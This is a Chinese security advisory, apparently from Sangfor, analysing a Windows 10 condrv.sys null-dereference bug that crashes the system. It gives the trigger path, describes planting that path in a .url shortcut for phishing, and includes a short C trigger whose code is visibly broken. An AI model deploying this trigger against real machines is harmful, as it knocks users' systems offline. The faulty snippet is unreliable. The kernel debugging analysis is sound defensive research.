• 我的位置:
  • 首页
  • -
  • 漏洞预警
  • -
  • 操作系统
  • -
  • Microsoft Windows condrv.sys内存损坏漏洞分析
    • CNNVD编号:未知
    • 危害等级: 高危 
    • CVE编号:未知
    • 漏洞类型: 内存损坏
    • 威胁类型:未知
    • 厂       商:未知
    • 漏洞来源:深信服
    • 发布时间:2021-01-22
    • 更新时间:2021-01-29

    漏洞简介

    1、组件介绍

    Windows 10是Microsoft生产的一系列个人计算机操作系统,是Windows NT系列操作系统的一部分。它于2015年7月29日发布。Windows 10持续不断地发布新版本,用户无需支付额外费用。截至2017年11月,该操作系统在超过6亿台设备上运行。

    2、漏洞描述

    近日,深信服安全团队监测到一则Windows 10 condrv.sys存在内存损坏漏洞的信息,漏洞等级:高危。该漏洞是由于Windows 10中condrv设备不正确的错误检查导致异常,攻击者可利用该漏洞,通过在浏览器的地址栏中打开特定路径或构造恶意快捷方式进行钓鱼攻击,最终导致Windows 10蓝屏崩溃。

    3、外部披露 

    Windows安全研究员 Jonas Lykkegaard 研究发现一条路径,测试发现低权限用户也可直接通过该路径与设备进行交互,在Chrome浏览器地址栏中输入该路径时会导致Windows 10蓝屏。


    连接到该设备时,开发人员应传递“attach”扩展属性与该设备正确通信。由于不正确的错误检查而尝试不通过属性而连接到路径,引发异常,从而导致Windows 10蓝屏崩溃。


    目前尚不确定此漏洞是否可用于远程代码执行或提升特权,但确定可以造成拒绝服务攻击。


    Lykkegaard与BleepingComputer共享了一个Windows 快捷方式文件(.url),其URL设置指向

    \\.\globalroot\device\condrv\kernelconnect

    下载文件后,Windows 10会尝试从有问题的路径中显示URL文件的图标,并自动使Windows 10崩溃。


    4、漏洞复现:

     浏览器触发:chrome(或msedge)地址栏输入:

    \\.\globalroot\device\condrv\kernelconnect

    触发BSOD,可以看到发生错误的文件为condrv.sys


    查看crash文件

    查看函数调用栈(通过msedge触发):

    查看函数调用栈(通过msedge触发):

    ## 代码触发#include <Windows.h>#include<stdio.h>#define MAX_EXTS 12
    int main(){ HANDLE hDev[MAX_EXTS] = {0}; const wchar_t* Ext = L"\\KernelConnect"; //wchar_t* pDevName = (wchar_t*)LocalAlloc(LMEM_ZEROINIT, (MAX_PATH * 2) + 2); wchar_t* pDevName = (wchar_t*)L"\\\\.\\globalroot\\device\\condrv\\kernelconnect"; HANDLE hDevXX = 0; if (pDevName) { //wcscpy(pDevName, L"\\Device\\ConDrv"); //wcscat(pDevName, Ext); wprintf(L"Opening: %s\r\n", pDevName);    int ret == OpenDevice(pDevName,&hDevXX);    if ((ret < 0) || (hDevXX == INVALID_HANDLE_VALUE))       printf("Can't open device, ERROR: %X\r\n", ret); LocalFree(pDevName); CloseHandle(hDevXX);   }}

    函数调用栈如下

    从这里可以看到,该漏洞的触发与浏览器并无关系,初步判断与设备的关闭有关。

    我们从 condrv!CdpDispatchCleanup 入手。


    漏洞公示

    触发

    0: kd> ba e1 condrv!CdpDispatchCleanup0: kd> gBreakpoint 0 hitcondrv!CdpDispatchCleanup:fffff804`1d55af50 4883ec28        sub     rsp,28h

    通过动态调试condrv!CdpDispatchCleanup代码的逻辑,发现在condrv!CdpDispatchCleanup+0x1f的位置发生了crash,这里读取rcx位置处的值并赋值给rax,因为在前面的步骤中rcx的值为0,所以在读取0地址处位置时发生了内存错误,0内存是不可读的,造成BSOD。

    ida反编译查看伪代码,可以推断出对v3进行引用的时候发生了错误,地址不可访问。

    下面贴上在reactos查询的_FILE_OBJECT的结构体,方便更加了解该漏洞的相关数据结构

     typedef struct _FILE_OBJECT {   CSHORT Type;   CSHORT Size;   PDEVICE_OBJECT DeviceObject;   PVPB Vpb;   PVOID FsContext;   PVOID FsContext2;   PSECTION_OBJECT_POINTERS SectionObjectPointer;   PVOID PrivateCacheMap;   NTSTATUS FinalStatus;   struct _FILE_OBJECT *RelatedFileObject;   BOOLEAN LockOperation;   BOOLEAN DeletePending;   BOOLEAN ReadAccess;   BOOLEAN WriteAccess;   BOOLEAN DeleteAccess;   BOOLEAN SharedRead;   BOOLEAN SharedWrite;   BOOLEAN SharedDelete;   ULONG Flags;   UNICODE_STRING FileName;   LARGE_INTEGER CurrentByteOffset;   volatile ULONG Waiters;   volatile ULONG Busy;   PVOID LastLock;   KEVENT Lock;   KEVENT Event;   volatile PIO_COMPLETION_CONTEXT CompletionContext;   KSPIN_LOCK IrpListLock;   LIST_ENTRY IrpList;   volatile PVOID FileObjectExtension; } FILE_OBJECT, *PFILE_OBJECT;

    跟踪执行流

    根据栈回溯,向上分析相关的执行逻辑

    IofCallDriver,这里面通过将result返回到最终的condrv!CdpDispatchCleanup函数中,将参数中的Irp传入到condrv!CdpDispatchCleanup函数中,我们继续追踪下前面的函数:

    IopCloseFile,在第97行进行IofCallDriver函数的调用,v16作为第二个参数传入,逆向分析发现v16为irp对象,我们通过逆向condrv!CdpDispatchCleanup可知需要的得到Irp->Tail.Overlay.CurrentStackLocation->FileObject->fsContent,在这里将v17为v16->Tail.Overlay.CurrentStackLocation,而v17->FileObject = a2,所以最终的访问fsContent时造成了BSOD,而这个fsContent正是a2!!

    观察反汇编代码,可以看到在IopCloseFile+0x14b的位置,将rbx的值传递给了FileObject,也就是说,某个Irp->Tail.Overlay.CurrentStackLocation对象的FileObject成员的地址为a2

    而根据在condrv!CdpDispatchCleanup中得到的信息,FileObject+0x18位置处为FsContext成员,我们动态调试观察下这个Irp对象的成员如何交由condrv!CdpDispatchCleanup处理并造成BSOD

    动态调试

    下面对刚刚的分析进行动态调试验证:

    调试进入nt!IopCloseFile函数中,在偏移0x14b的位置处,对Irp->Tail.Overlay.CurrentStackLocation->FileObject进行赋值,此时Irp->Tail.Overlay.CurrentStackLocation->FileObject->fsContent为0。

    直接调试到终点,发现此时rcx已经被赋值为0,当访问该地址时将会造成内存错误。

    根据上面的调试结果,猜测出现该漏洞可能的原因是IopCloseFile在关闭设备对象时并没有检查Irp->Tail.Overlay.CurrentStackLocation->FileObject->fsContent的值是否为空(实际上也根本没必要检查,因为对象已经要被关闭了),而最终调用 condrv!CdpDispatchCleanup 函数时也没有对fsContent进行检查就调用,导致出现了内存错误,猜测微软如果会发布更新包的话应该会检查condrv!CdpDispatchCleanup函数中fsContent的值是否为空。

    参考网站

    暂无

    受影响实体

    目前受影响的操作系统版本:Windows 10

    补丁

    1、官方修复建议

    当前官方暂未发布受影响版本的对应补丁,建议受影响的用户及时关注更新官方的安全补丁(及时更新升级到最新版本)。链接如下:

    https://www.microsoft.com/zh-cn/software-download/windows10

    2、临时修复建议

    建议不要点击不明链接以及下载陌生压缩文件。
    3、深信服解决方案

    深信服下一代防火墙】预计2021年1月20日以后,可轻松防御此漏洞,建议部署深信服下一代防火墙的用户更新至最新的安全防护规则,可轻松抵御此高危风险。

    深信服云盾】预计2021年1月20日以后,从云端自动更新防护规则,云盾用户无需操作,即可轻松、快速防御此高危风险。

    深信服安全感知平台】预计2021年1月20日以后,可检测利用该漏洞的攻击,实时告警,并可联动【深信服下一代防火墙等产品】实现对攻击者ip的封堵。

    深信服安全运营服务】深信服云端安全专家提供7*24小时持续的安全运营服务。对存在漏洞的用户,检查并更新了客户防护设备的策略,确保客户防护设备可以防御此漏洞风险。